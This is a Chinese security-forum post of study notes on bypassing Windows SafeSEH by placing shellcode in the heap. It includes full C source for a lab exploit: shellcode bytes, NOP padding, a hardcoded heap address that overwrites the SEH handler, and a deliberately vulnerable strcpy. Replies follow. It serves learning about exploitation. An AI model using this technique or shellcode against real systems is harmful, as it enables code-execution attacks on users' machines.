吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 11313|回复: 26
收起左侧

[漏洞分析] 突破SafeSEH机制之一——利用堆绕过SafeSEH

[复制链接]
筠溪 发表于 2017-7-31 10:31
本帖最后由 筠溪 于 2017-8-1 11:16 编辑

本文是为学习《0day》学习笔记,以整理思路,更希望能够和感兴趣的同学讨论学习。
我也是个新手,刚学漏洞调试,发现要学的东西太多,想要把漏洞学好,必须精通各类系统底层机制,汇编,PE等等等等太多太多,所以不可能把这些东西都学会了,再去调试漏洞,只能一步步慢慢从简单开始,另外也要学会忽略那些你现在所力不能及的地方,如果实在不懂,就跳过,可能到哪一天你忽然就明白了。所以这里,也是希望同学们想学习的不要被这个东西吓到,静下心来慢慢看,如果有不懂的,我可以倾尽所能告诉大家,我要是不懂,论坛里不是还有各种大神嘛,一起请教他们啊。
另外建议大家学习的时候,一定要亲力亲为,最好有自己的实验环境,搭个虚拟机调试一下,自己做过和看过是不一样的概念。
——————————————————————————————————割——————————————————————————————————

同学们,我对不起你们,我忽然发现说了半天了,没给你说SEH是啥,难怪有人说看不懂,在这补充一下把。
其实要说为了突破SEH机制,不需要深究太多原理,只要把SEH的基本原理,以及SEH链的结构整明白就行了,主要是那个链。(因为windows从没有公开过SEH的具体实现,都是靠大牛们逆向出来的)
SEH:structured Exception Handling,结构化异常处理。Windows上,Microsoft对C/C++程序语言做的语法扩展,用于处理异常事件的程序控制结构。
异常事件是打断程序正常执行流程的不在期望之中的硬件、软件事件。
硬件异常是CPU抛出的如“除0”、数值溢出等;软件异常是操作系统与程序通过RaiseException语句抛出的异常。
我们需要对SEH知道以下几点:
1、SEH是位于栈中的
2、栈中多个SEH通过链表指针在栈内串成单向链表,位于链表最顶端的SEH通过TEB(线程环境块)0字节处的指针标示(fs:[0])
3、如果源代码中使用了__try{}  __except{},编译器会向当前函数栈帧安装一个SEH
4、每个SEH包含两个DWORD指针:SEH链表指针和异常处理函数句柄(敲黑板敲黑板!!)———所以我们覆盖的是这个异常处理函数句柄
5、当离事故现场最近的异常处理函数处理不了的时候,顺着这个SEH链表依次尝试其他的异常处理函数,如果都没处理,就交给系统的顶层异常处理函数
SEH链表如下:
360截图20170801111349148.jpg

——————————————————————————————————手工分割线——————————————————————————————————————
SafeSEH
Windows XP sp2以后微软引入了著名的SafeSEH机制,在程序调用异常处理函数之前,会对要调用的异常处理函数进行有效性校验,当发现异常函数不可靠时,将终止异常处理函数的调用。
SafeSEH流程(我估计是这张图让大家蒙X了,是的,这张图是本帖最难的=。=)
其实没必要完全整明白,只需要知道,函数在跳向异常处理函数的时候,会对这个函数进行各种各样的有效性检查就够了。
360截图20170731095310368.jpg
突破思路:
那么有3种情况,系统可以允许异常处理函数执行:
1、异常处理函数位于加载模块内存范围之外,DEP关闭(下下次写这个
2、异常处理函数位于加载模块内存范围之内,相应模块未启用SafeSEH(SafeSEH表为空),不是纯IL(下一次写这个
3、异常处理函数位于加载模块内存范围之内,相应模块启用SafeSEH,异常处理函数地址包含在SafeSEH表中(放弃

可以看到,我们突破SafeSEH的方法分为3种
1、排除DEP干扰,在加载模块内存范围外找一个跳板指令就可以转入shellcode执行
2、利用未启用SafeSEH模块中的指令作为跳板,转入shellcode执行
3、由于SafeSEH表加密,对于新手的我暂时不考虑了。

利用堆绕过SafeSEH
今天先利用一个简单的方法绕过SafeSEH
原理:
如果SEH中的异常处理函数指针指向堆区,即使安全校验发现了SEH不可信,仍然会调用已经被修改过的异常处理函数,因此可以将shellcode布置到堆区就可以执行了。
调试环境:
SP sp3
vs2008
Release版本
有没有大神看到我的这个问题!!)DEP这个问题我想请教一下大家,书中要求关闭,我看我的vs里面没有关闭,也没有影响实验结果。如下图:
360截图20170731101402181.jpg
调试思路:
这次的比较简单
1、确定shellcode在堆中的地址->在malloc后面下一个int3中断,eax存放的是堆分配的地址,也即shellcode拷贝的首地址
2、确定SEH指针地址(确定覆盖地址),确定shellcode在栈中的首地址,计算shellcode大小
源程序:
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
;
 
int zero = 0;
void test(char *input)
{
        char str[200];
        strcpy(str, input);
        zero = 1/zero;
}
 
void main()
{
        char * buf=(char *)malloc(500);
        __asm int 3
        strcpy(buf,shellcode);
        test(shellcode);       
}

第一步:
先将shellcode设置为200字节,调试后在确定还需要多远才能覆盖掉SEH指针
直接双击Release程序,OD开始调试:
360截图20170731101646018.jpg
得到堆地址:0x003929B8
第二步:  
运行到test中的strcpy,可以直接运行到循环结束,我是不想看汇编了,搜索FC68字符,直接定位shellcode在栈中的位置:0x0012FE8C
然后直接F9,查看SEH链情况:
360截图20170731102523814.jpg
SEH地址0x0012FFB0+4
所以能够得出shellcode大小为0x12FFB4-0x12FE8C+4=300

所以填充shellcode后,代码如下:
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xB8\x29\x39\x00"//address of shellcode in heap
;
 
int zero = 0;
void test(char *input)
{
        char str[200];
        strcpy(str, input);
        zero = 1/zero;
}
 
void main()
{
        char * buf=(char *)malloc(500);
        //__asm int 3
        strcpy(buf,shellcode);
        test(shellcode);       
}


360截图20170731103016316.jpg

免费评分

参与人数 6吾爱币 +12 热心值 +6 收起 理由
helloword121 + 1 + 1 谢谢@Thanks!
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
昂电工 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
hcloveld + 1 + 1 谢谢@Thanks!
a5606495 + 1 + 1 谢谢@Thanks!
geek_007 + 1 + 1 谢谢@Thanks!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| 筠溪 发表于 2017-7-31 16:41
失业 发表于 2017-7-31 15:33
从头到尾都看不懂

建议看一下王清主编的《0day安全软件漏洞分析技术第二版》。这是漏洞入门的神作,基本都是看这个学的。另外你搜索《Q版缓冲区溢出》,这是10年前一个大神写的漏洞入门的文章,写的很好,但是里面有的程序跑不通。在学习的时候可能会涉及很多不懂的知识,哪些不懂再百度单独学,别钻牛角尖,有问题多提问,慢慢就好了。
niuniu919 发表于 2017-7-31 10:51
欧尼酱的小师妹 发表于 2017-7-31 10:51
by_l 发表于 2017-7-31 11:10
好高深的知识
 楼主| 筠溪 发表于 2017-7-31 11:13
niuniu919 发表于 2017-7-31 10:51
好高深的知识,像看天上一样。

大神带我!
 楼主| 筠溪 发表于 2017-7-31 11:14

哪里不懂,举起你的小手请提问~
asd9988 发表于 2017-7-31 11:59
差点以为楼主是抄袭来的哈哈,结果看了一下楼主的帖子发现不是
fzx118 发表于 2017-7-31 12:34
牛逼哄哄     支持大神
 楼主| 筠溪 发表于 2017-7-31 13:30
asd9988 发表于 2017-7-31 11:59
差点以为楼主是抄袭来的哈哈,结果看了一下楼主的帖子发现不是

其实思路都是按照作者来的,只不过调试思路是自己的。
 楼主| 筠溪 发表于 2017-7-31 13:32
fzx118 发表于 2017-7-31 12:34
牛逼哄哄     支持大神

不是大神{:1_903:}
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-4-3 03:21

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表